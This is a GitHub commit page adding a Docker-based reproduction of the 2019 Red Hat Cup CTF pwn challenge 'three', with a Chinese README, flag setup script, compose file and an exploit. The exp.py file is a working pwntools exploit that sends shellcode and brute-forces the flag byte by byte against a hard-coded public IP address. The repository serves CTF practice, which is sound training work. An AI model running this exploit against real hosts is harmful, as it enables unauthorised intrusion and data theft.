Skip to content

Commit

Permalink
ok
Browse files Browse the repository at this point in the history
  • Loading branch information
A2kaid committed Nov 12, 2019
0 parents commit 471b3a5
Show file tree
Hide file tree
Showing 7 changed files with 85 additions and 0 deletions.
8 changes: 8 additions & 0 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
FROM ctftraining/base_pwn_xinetd

COPY _files/flag.sh /flag.sh
COPY src/pwn /home/ctf/pwn

RUN chown root:ctf /home/ctf/pwn && \
chmod 750 /home/ctf/pwn && \
apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
22 changes: 22 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
# 2019红帽杯 pwn three

## 题目详情

- **Redhat_2019_pwn_three**
- **shellcode**

## 考点

- shellcode
- 爆破

## 启动

```
docker-compose up -d
nc 127.0.0.1 10001
```

## 版权

该题目复现环境尚未取得主办方及出题人相关授权,如果侵权,请联系本人删除( [email protected]
10 changes: 10 additions & 0 deletions _files/flag.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
#!/bin/bash

echo $FLAG > /home/ctf/flag

chmod 444 /home/ctf/flag

export FLAG=not_flag
FLAG=not_flag

rm -f /flag.sh
15 changes: 15 additions & 0 deletions docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
version: "2"
services:

pwn:
build:
context: .
dockerfile: Dockerfile
image: ctftraining/suctf_2019_pwn_oldpc
volumes:
- ./tcpdump:/var/lib/tcpdump
ports:
- "10001:10000"
environment:
- FLAG=ctftraining{welcome_to_ctftraining}
- TCPDUMP_ENABLE=0
30 changes: 30 additions & 0 deletions exp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
from pwn import *
#p=process("./pwn")

def create(index,content):
p=remote("47.104.190.38", 12001)
p.sendlineafter("Give me a index:\n",str(index))
shellcode = asm("mov eax,dword ptr[ecx];ret")
p.sendafter("Three is good number,I like it very much!\n",shellcode)
p.sendlineafter('Leave you name of size:\n','2')
p.sendafter("Tell me:\n",p8(content))
tmp= p.recvuntil('\n')
p.close()
if '1' in tmp:
print 'yes'
return True
else:
return False

idx=0
flag=''
while "}" not in flag:
for i in range(256):
b=create(idx,i)
if b:
idx+=1
flag+=chr(i)
print flag
break;
print flag
p.interactive()
Binary file added src/pwn
Binary file not shown.
Empty file added tcpdump/.gitkeep
Empty file.

0 comments on commit 471b3a5

Please sign in to comment.